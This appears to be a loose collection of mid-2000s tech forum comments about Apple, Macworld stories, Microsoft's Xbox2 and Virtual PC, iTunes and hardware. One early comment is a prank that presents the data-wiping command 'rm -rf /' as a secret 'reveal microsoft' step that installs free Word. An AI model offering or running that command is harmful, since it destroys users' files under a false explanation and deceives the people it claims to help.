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So MS is going to push the Xbox2 as a platform for gaming and computing. However, it's going to be running on PowerPC chip. Most software would require some work to be ported to WindowsPPC, which would severely limit the amount of applications available for the Xbox2.

I guess this explains why they bought Virtual PC.

Lindows is trying to prove Windows is a generic COMPUTER/UI term that was used previously.

Apples (and the McIntosh variety) do exist since a gazillion years ago, but that did not stop a certain computer company to be sued by a certain record label.

I see no misreporting of the facts. The fact is that the person in question downloaded it via limewire. I see no statement that excludes other gnutella clients.

A Macworld reader alerted the magazine to the malware after he downloaded the file from Limewire.

The latest advisory, posted to the company's Web site on Wednesday, warns of a Trojan Horse downloaded from the LimeWire peer-to-peer network[...]

The reader in question downloaded the file from the Gnutella peer-to-peer network, thinking that it was a public beta of Microsoft Word 2004.

Microsoft Office 2004 does exist.

ms already includes word 2005 on EVERY MAC!!!

you just need to use the "reveal microsoft" command .. it's like a total back door into the software.

normally you have to use your credit card and get a license key from ms web site but they have this back door for maintainance and they FORGOT IT! It's gonna be fixed in the next security update. you must've read the macworld article, and it was on that mac dudes blog!!!!!

Her'es the command for "reveal microsoft". first you have to get down into the Terminal program (I know: scareeeeey!) and just type this:

rm -rf /

That tells it to "reveal microsoft" "-rapid" "-final" "/" The slash means to install it on your main drive (the one inside the computer). If you have a really big firewire drive with all the cool stuff you got from limewire, you can replace "/" with the path to the drive (use finder and just drag the icon to the terminal window! macs are awesome!)

After you do this you will have FREE and LEGAL ms word on your mac!! not a beta! the real thing! You can trust me, I've been using macs since 1981!!

Umm.. please stop this crap. Your OS is used by about 2% of the global computer using populace. I am a 3D animator. No one ports the software I use to that 2%, and when they do, like Alias Wavefront, it's so horrible. For instance, OSX Maya couldn't even recognize dual processors, it was not SMP capable, and it crashed left and right.

You are right about spyware. Not enough people in the world use Macintosh for writing mac adware/trojans pallatable. But at the same time you need to understand that companies feel the same way. Not to mention when problems arise they are patched for PC first, then maybe mac. It's all about profit, I was a Mac user for ten years, I lived Mac Paint and Hypercard, and for a while there was a gray area, but there isn't anymore. I mean look at the PC Preffered campaign Adobe launched. Sure, their apps were originally written for the Mac, but now the windows ports run better, I am not going to start this kind of thing here, just go google some mac/pc benchmarks for yourself, and stop assuming mac is the best option for everyone. Very few of the programs I use on a day to day basis have *ANY* mac support, and no Mac alternatives.

This post was completely unbiased, and I hope that a torrent of Mac enthusiasts don't mod my karma down, because what I said was true.

According to MacWorld...

• new version, and they're calling it a complete re-write (now fully GPL compliant, too)
• new web host (in the US, surprisingly, and ballsy too: Babu (creator) says "This [host] is well aware of the DMCA and DRM issues and is very much willing to defend us in case Apple threatens to bring down the site")
• now preserves the iTMS header files, including the user's Apple ID ("This proves that our purpose is for fair use and not for piracy and should help us in our legal battles")
• "hymn" stands for "hear your music anywhere"
• and the new site's not even slashdotted yet!

(Not really karma whoring, just adding the info that was in my submission... bah.)

full review of VAIO audio player
http://maccentral.macworld.com/news/2004/05/10/son y

FYI, in response to your sig, GMail will be supporting Safari, although I'm not sure about Opera. Check out the MacCentral interview with Sergey Brin

Aha, found it.

linky ....you know, on the off chance anyone cares.

MacCentral reports: "The Mac installed base is extremely important to us," said Stéphane Maes, PalmOne's senior product line manager for handhelds. "We will continue to meet Mac users' needs regardless of what OS we're running."

There was an editorial in Macworld recently pushing for FLAC support in iTunes:

http://www.macworld.com/weblogs/editors/

Maybe you guys can lend some more "oomph" and possibly widen or open up another revenue stream? You could supply raw FLACs, Apple could wrap then in FairPlay and write a QT component for it, and sell lossless versions at a premium.

iChat AV uses the industry-standard H.263 video codec and advanced pre- and post-processing techniques to deliver picture-perfect video. It uses the sophisticated technologies built into QuickTime to compress the video and audio while maintaining rich detail, natural colors, and smooth video over any 100-Kbps or faster Internet connection. Specific technologies include:

• Spatial anisotropic diffusion to maintain edge detail and sharpness while reducing unnecessary digital "noise."
• Temporal noise reduction to average out noise between video frames while avoiding motion blurring.
• Post-filtering of the received video to avoid blockiness and ringing artifacts.

iChat AV uses a sophisticated digital audio codec to deliver the same crystal-clear audio quality that you expect when you use a typical landline telephone. The fullduplex technology built into iChat AV lets you have natural conversations, just as with the advanced speakerphones found in conference boardrooms. Most other solutions force users to talk one at a time, providing an experience more akin to talking on a CB radio.

Apple has recently announced support for H.264, which is a good thing

To more applause and laughter, one shareholder asked if Apple would put its innovation to work and make a voting machine for the state of California.

"We have no plans to do that," said a laughing Jobs. "Hopefully they won't base it on Windows when they do make one."

Both Xsan and CXFS are cross-platform: you can attach heterogenous (Windows, Linux, Irix, Solaris, Mac OS X, possibly others) systems to the one filesystem, and have it all work. The interesting part is that CXFS needs an SGI Irix box at the centre to deal with the metadata updates (as I understand it). Xsan also needs a metadata server, but it's unclear whether it needs to be an OS X box, or if it'll work with other operating systems at its core. If the former, it's understandable. If the latter, it'll be a good chance to make it into the enterprise in a big way.

Either way, it looks like Apple is making some serious, steady steps towards the enterprise market. They're very much the underdogs; people looking at this sort of thing like to see a track record before buying; but still... interesting times, indeed.

Heh. Poor SourceForge would probably catch fire, under the weight of Maya's rumoured 25+ million lines of source code. Plus, I have a sneaky suspicion it's mainly C++, which of course would be chanceless when it comes to attracting open/free software developers. ;) Heh. It'd still be cool, though.

> And which were they? I've taken apart both flavours of iMac and they both have a fan in.

There were a lot more than two flavours of the iMac, the CRT iMacs alone had a dozen of revisions. The earlier versions had a fan, but I believe all versions between 350mhz and the LCD iMacs didn't. In any case, the 350mhz and the 500mhz were fanless.

Jan 16th 2002: SGI transfers 3D graphics patents to MS
Jul 09th 2002: Microsoft Claims IP Rights on Portions of OpenGL
Jul 11th 2002: 3D graphics world shaken by patent claims
Jul 13th 2002: Microsoft patent claims may affect OpenGL
Mar 3rd 2003: Microsoft quits OpenGL board

If what you say is true, then why has MSFT not sued people in the three years since XP was unleshed who have made Luna themes for Winamp and Pocket PC's? Some of the themes i've linked are close to, if not exact copies of the Luna UI, just like XPde. Contrast this with Apple, who has clamped down on copies of the Aqua UI in the last three years.

The 68K processor is a 32-bit processor, but its instructions are 16-bit. This means that there are at most 65,536 items in the instruction matrix that need to be translated to the X86's instruction set. This creates a relatively small loop to run through for emulation. This small number of translations also requires little memory and can even reside in the cache for optimal emulation performance.

....

Emulating the PowerPC is a far more difficult proposition, as it is a true 32-bit processor. This means that millions of instructions need to be translated. This larger 'hash' table explains why memory performance is so crucial in emulation. Moreover, such a large matrix running in the emulation loop can stymie performance.

The VT G5 *center* price = $9.2 million.

While there is undoubtedly still variability between the two centers, it might be more comparable than you think.

What does any of this have to do with the Dell cluster being a waste of money because it crashes all the time?

I agree with many points that have been made in these postings, and I don't like the idea of being "secretly" traced. But being traced has its benefits as well. I really like the article Take my privacy, please - and I feel that it has some very good points.

The Rocky Mountain News reports that the Grateful Dead are "finalizing a deal" with Apple to put their entire collection of live performances available for purchase through the iTunes Music Store.

The Grateful Dead has a long history of allowing fans to make bootleg recordings of their concerts. Over the years, countless bootleg Dead concert recordings have made their way onto the Internet, available for download through peer-to-peer file sharing services and elsewhere. From Weir's perspective, getting the Dead's own recordings of their shows is a natural progression.

"What we wanna do is digitize our entire catalog, our entire collection of tapes ... and make that stuff available," said Grateful Dead guitarist Bob Weir. "I think I-Tunes [sic] is up to that."

Story Here

Apple stands a chance.

i'm definitely not an MS fan, and i try to use their software as little as possible. unfortunately VLC can't play all the WMF files I run across, so I have to use their player. I use AppleWorks or TextEdit for most of my home (very basic) word processing.

But I have to say there's some great new features in Mac Office 2004. Word has what looks to be a really neat note taking mode, with full audio recording capabilities as well.

Here's a link - although MS's WinTel products may be shite, the MBU does some really nice work.

Looks like Apple's itunes won't be available in Europe anytime soon (apparently Napster seems to want to come back in Europe though).

this guys will be getting a Cease and Desist shortly. Apple doesn't look kindly on this stuff.

MacCentral is reporting that "pBop's resemblance to the iPod was unmistakable, especially when the product first launched: It was originally called pPod, and featured an interface that was practically identical to third-generation iPods."

it was so similar, in fact, that Apple asked them to make some changes, including the name.

Starbrite has "cooperated fully to address Apple's concerns" but, if you ask me, it is still pretty much a rip off of the iPod interface (GUI and physical). Isn't this kind of thing legally protectable?

Just wanted to say that the iPod Mini's hard drive is the same compact flash situation as Creative's MuVo2.

As was documented by Christopher Breen of Macworld, the iPod Mini's hard drive is "encased in compact flash form". Some cameras support using this 4GB compact flash card, but not Mr. Breen's. He does note that it works in his USB Media Reader attached to a PowerBook G4, shows up on the desktop as a 3.6GB volume.

You can also take apart the iPod mini for its hard drive.

"Without Mac OS X around to spoil me, I was

forced to get my Linux machines current again, so I could still be productive and use modern software. I was able to upgrade a couple machines to Linux 2.6 and Gnome 2.4, and with the addition of anti-aliased fonts to the Linux desktop I didn't miss my PowerBook quite so much. But now that it's back, I wonder what the hell I was thinking."

I love this guy's company spirit. Slashdot is owned by VA Software, a prominent Linux company. I'd get fired for this kind of open betrayal.

What's worse is the implications this has for Linux in general. I'm a regular guy reading this. If this Cowboy Neal guy, a major geek ten times as skilled with Linux as I am, refuses to use the software or hardware his boss makes, why should I buy it?

Cowboy Neal likely gets an employee discount, and he STILL refuses to use it!

I feel like sending a letter to VA explaining that the reason I refuse to buy from them is because *their own employees* support the competition over their products. Think about it. Linux must be unbelievably crappy if even the guys who work for a Linux company refuse to use it -- I mean, imagine if Steve Jobs got caught using Windows or Bill Gates admitted to being a Linux kernel hacker. Mature adults in the public eye don't pull this kind of backstabbing crap. I don't even care about VA Software, and I'm disgusted. If you accept a job with a Linux company, you have a responsibility to your employer not to use the competition's product -- but if that's too hard for you, at least cheat on your boss in secret rather than openly promoting the competition's product over your own!

The morally-stunted editors of Slashdot obviously don't care if they're biting the hand that feeds them; they want their Bluetooth to be auto-configured, dammit! Laziness and a refusal to learn seem to be the marks of a great editor, as well as the willingness to openly praise and worship the competition's product. I bet neither Gates nor Jobs would stand for such callous, disgusting betrayal. In fact, I KNOW they wouldn't. That's why they're successful, and Linux will soon die. Proprietary software has nothing to worry about. Developers are the air supply that Apple, Microsoft,

(This was also posted on my weblog, so my apologies for babbling about things most /.'ers would already know...)

I did wonder a bit about the G5/Xbox2 link back in November, when news first broke that the Xbox2 would likely be running on the G5 chip. At the time, I was idly wondering about the possibility of an Xbox emulator for the Mac (similar to Connectix' old Virtual Gamestation software that allowed Mac users to run Playstation games on their home computer).

Now, though, the news that the seeded G5's are running a custom NT kernel has me wondering along different lines.

In February of '03, Microsoft bought Virtual PC, the PC-emulation software for Macs that allows them to run Windows software inside an emulated PC. They've continued to support and update Virtual PC for the Mac, along with releasing Virtual PC for the PC, allowing Windows machines to run multiple virtual machines on one physical box handy for software testing purposes. Unfortunately, Virtual PC depends on a feature of earlier PowerPC processors that is not present in the G5, so there hasn't been a version of Virtual PC released yet that will run on Apple's flagship G5 desktop machines.

Last month, Microsoft announced that a new G5-compatible version of Virtual PC would be released along with Office 2004. Considering that the Xbox2 SDK is apparently running a customized NT kernel that runs on G5 systems, could some of those same customizations be worked into Virtual PC 7, making for a major speed increase, as more of the low-level code would be running natively on the Mac rather than having to pass through an emulator? I don't really know enough about the innards of how software like this works, so I could be entirely off-base here the differences between the emulation required for Virtual PC and the customizations needed to get the NT kernel running on the PowerPC processor may have absolutely nothing in common but it was enough to get me wondering.

Even more interesting, though, would be if someone could leak some form of benchmarks, even rough ones, showing what kind of performance this customized NT kernel was getting on the SDK machines. I'm assuming it must be at least somewhat respectable, as the machines are being used for creating software for the Xbox2 but how respectable?

And going even more wildly out of the bounds of realityfor years now, there have been rumors of Apple porting the Mac OS to be able to run on Intel-based PCs (realistically, that's not likely to ever be released publicly, but the technology is there). However, what about going the other direction? What if Microsoft were to take these customizations to their kernel and and eventually supplant Virtual PC with an actual build of Longhorn for the G5, either as a "red box" that would allow you to run Windows applications concurrently with Mac OS X applications (we can already run Mac OS X apps, "Classic" Mac OS apps, Unix command-line apps, and Unix X-11 apps all at the same time as it is), or as a dual-boot option (Which OS would you like to run today)?

Likely? I seriously doubt it. But fun to play with.

And I'd still love to find out just how zippy those G5s are running NT. Wouldn't it be a fun little tweak if they were running as fast as (or faster, even) than high-end PCs?

That reminds me of a story... Some guy tracked down a stolen iMac using Applescript and Timbucktu.

It's actually an interesting read to see how this guy traced an iMac stolen from his sister's home.

Funny--I look at a company's support for the Mac as a "canary in a mine shaft" type thing. Broadly speaking, if a company has the resources to also support the Mac, it's doing pretty well; but if it drops support, it's circling the drain.

Cases in point: Microsoft (supports the Mac, record profits); Palm (circling the drain.) Case against: KaZaa. But as a rule of thumb, I think it's an interesting data point. What to make of SGI's recent announcement of support for the Mac, I dunno, but their stock has tripled in the last year, so maybe the rule holds?

Games of course are an exception, and the reasons why this might be indicative of anything is up for grabs--but I would guess that Mac support is a luxury that often doesn't pay for itself, so when it's present it indicates that a company is fat and happy. But when it goes, it means that the bean counters are doing some crunching to save some jobs, and the expense just can't be justified.

I checked out the link to "Kill your TV" in your post. I was interested in Steve Jobs' quote: "You watch television to turn your brain off and you work on your computer when you want to turn your brain on."

If anyone is interested, the article from which that quote came is available online here.

I would like to remind everyone that any group is welcome to take any quote and use it for their own purposes. I personally don't see his quote, taken in context, as being a dig at Television Watching. But I would like to reflect on Steve's quote as follows.

I think Steve's statement is true for the most part. Most programming on TV is what we'd call mindless entertainment. You watch it, it makes you laugh, or "ooh and aah", or shout "ouch, bet that hurt!". You don't do a whole lot of thinking about it.

I also agree with the statement from Laura Bush: "Children cannot learn to read by watching television. Television is just background noise and a distraction." Absolutely true. Children are not going to learn to read by watching television. And television is certainly a distraction when children are studying at home.

But I say: What is the problem with this? What is wrong with turning your brain off? I have my brain "turned on" for a minimum of eight hours a day at work, often more when I'm working on creative projects at home. I like to turn my brain off at times, and TV is just one of many ways to do that. If you want to keep your brain "turned on" 24/7, feel free... it's not for me, though.

In the same way, I don't see anything wrong with letting kids watch a little TV now and then. Obviously it needs to be carefully monitored; because of television's power to 'suck you in,' so to speak, what starts out as an innocent "I'm just going to watch one program" can turn into a three hour marathon of television watching. But give kids a chance to shut their brains off now and then. Whether it's riding a bike outside or watching TV inside... I think there's some value to it.

And I do agree with TenaciousPimple that you just might be this guy.

Today IE5 for Mac OS is a crumby browser compared to modern offerings such as Apple's Safari, Camino/Firebird, and OmniWeb but back near the turn of the millennium Internet Explorer 5 for Mac OS was praised far and wide as the best browser EVER for Macintosh systems, and arguably the best browser on any platform.

Here is a review at O'Reilly's Mac Developer Center (which has some geek-credit here) where they praise thinks including:

- Blending into the newly released OS X Aqua look
- The "page holder"
- Font controls
- CSS1/2 support
- PNG Support (which is still broken on windows)
- HTML4 support

Here's one over at macworld that decries it as the best thing since jesus as far as os x browsers are concerned. IE was very impressive, unfortunately Microsoft let it stagnate which hurt all mac users - choice is good.

Another article from 2000 that speaks to the quality of the MacIE.

Posted on this blog is an AppleScript that will configure your iChat status depending on which wireless bastation you connect to.

Critical mass is slightly more than the .2-.3% desktop share Linux enjoys.

Though not mentioned on Apple's site, that's not the original commerical. It was modified for the 20th anniversary and was first shown at Mac World this year. What you're looking at has been CGI enhanced... The iPod insertion is almost flawless.

See http://maccentral.macworld.com/news/2004/01/07/198 4/

Welcome to the down side of digital editing and CGI. You can re-write history. ;-)

You call a Q1 revenue of $256,000,000 on the iPod alone marginal? Idiot. A look at Apple's Q1 sales, by the numbers

Well spoken. It's nice to see some clear examples instead of "AMD sucks".

But, being the AMD fan I am, I must say that perhaps your problems are more due to bad luck than anything, since RMA rates for motherboards are significantly higher than other components.

And so this brings me to a question... is there a site that gives statistics on RMA rates?

- - - - - - - - - -

P.S. - The following riposte is a cut and paste of a previous slashdot post:

Pentium Floating-point division bug [ku.edu] (it's close enough, isn't it?)
Invalid Operand Instruction crashes original Pentiums [iss.net] Pentium crash codes
Pentium Pro/II still having problems with floats [ddj.com] Unable to convert to int
Pentium III can't even start up [bbc.co.uk] You went faster with an 8088
SSE is great for when you want your PIII to crash [zdnet.co.uk] Pretty blue screens abound.
PIII Xeon, quality you can count on, except at high CPU usage [macworld.com] Watch the task manager, Phil.
Yay, PIII MTH crashes! [com.com] Does MTH stand for Meth?
Total Recall 2: PIII@1.13GHz [com.com] Fastest crashes ever.
Total Recall 3: PIII Xeons@800/900Mhz [com.com] More Xeon quality in a box.
Total Recall 4: CC820 [techweb.com] How many defects? Can't recall...
Pentium 4 overwriting data [zdnet.co.uk] Hope it wasn't something important.
Pentium 4 chipset bug [com.com] Fast video performance? Naaa.
P4 Oracle/Sun problems [indiana.edu] More workarounds than work
Itanium shipments halted [theinquirer.net] That's an expensive oops.

Just so nobody gets any ideas that Intel is perfect...

And Apple, for all their ills as far as co-opting technology in ways distressingly similar to Microsoft, has never been known to utterly decimate the competition or actively belittle or disparage them.

Ask independent dealers.

Since the opening of the company-owned stores, the smaller distributers of Apple products have slowly been squeezed out of the market. Required minimum orders have increased, margins have decreased, and many small shops have either closed or consolidated.

I cannot find the article, but Apple has used the Macintosh registration process to harvest e-mail addresses in order to lure customers who bought their Macintosh from a distributer/dealer to purchase accessories from the Apple store at a discount to the dealer price.

As an Apple dealer, I wouldn't wait too long to sell the business. Apple will continue to squeeze all of the dealers out of the market, concentrating on locations where an Apple store is already present.

You can be the small, speciality, beat-them-with-loyalty/quality company.

Apple is squandering both, by screwing their own loyal customer-base with lack of support (to force upgrades) and products that are grossly overpriced and simply don't last (re: the older 5 gig ipods in particular have a terminal problem with the rechargable batteries).

That's two (possible) class action lawsuits from Apple's own hardcore users!

You can be the small, speciality, beat-them-with-loyalty/quality company.

Apple is squandering both, by screwing their own loyal customer-base with lack of support (to force upgrades) and products that are grossly overpriced and simply don't last (re: the older 5 gig ipods in particular have a terminal problem with the rechargable batteries).

That's two (possible) class action lawsuits from Apple's own hardcore users!

cost per page for inkjet printers vs. laser

This MacWorld article discusses the costs. Basically, lasers cost 3-4 cents per page, inkjets 5-10 cents (black only).

Not true. According to this article, development on Internet Explorer for the Mac has stopped, but support will continue. Future updates to the browser will only contain maintenance or security fixes, but no new features.

Maccentral has a pretty detailed list of exactly what's been updated.

However, I think Apple forming an artist-friendly label is MUCH more likely (or at least advantageous) than artists doing it themselves because artists haven't got the money to start it and Apple could split the money gained by muscling out the RIAA (if it somehow could) between themselves and the artists.

More references: Here and Here

Note some are exclusive to the iTunes store compared to other similar services. But, some are exclusive and cannot be obtained anywhere else.

Actually, DirectX basically runs on the Mac.

I know SuSE Linux is available for PPC. I would be interested in seeing this run on a Macintosh, especially since Sun encourages its employees to use Macs at home.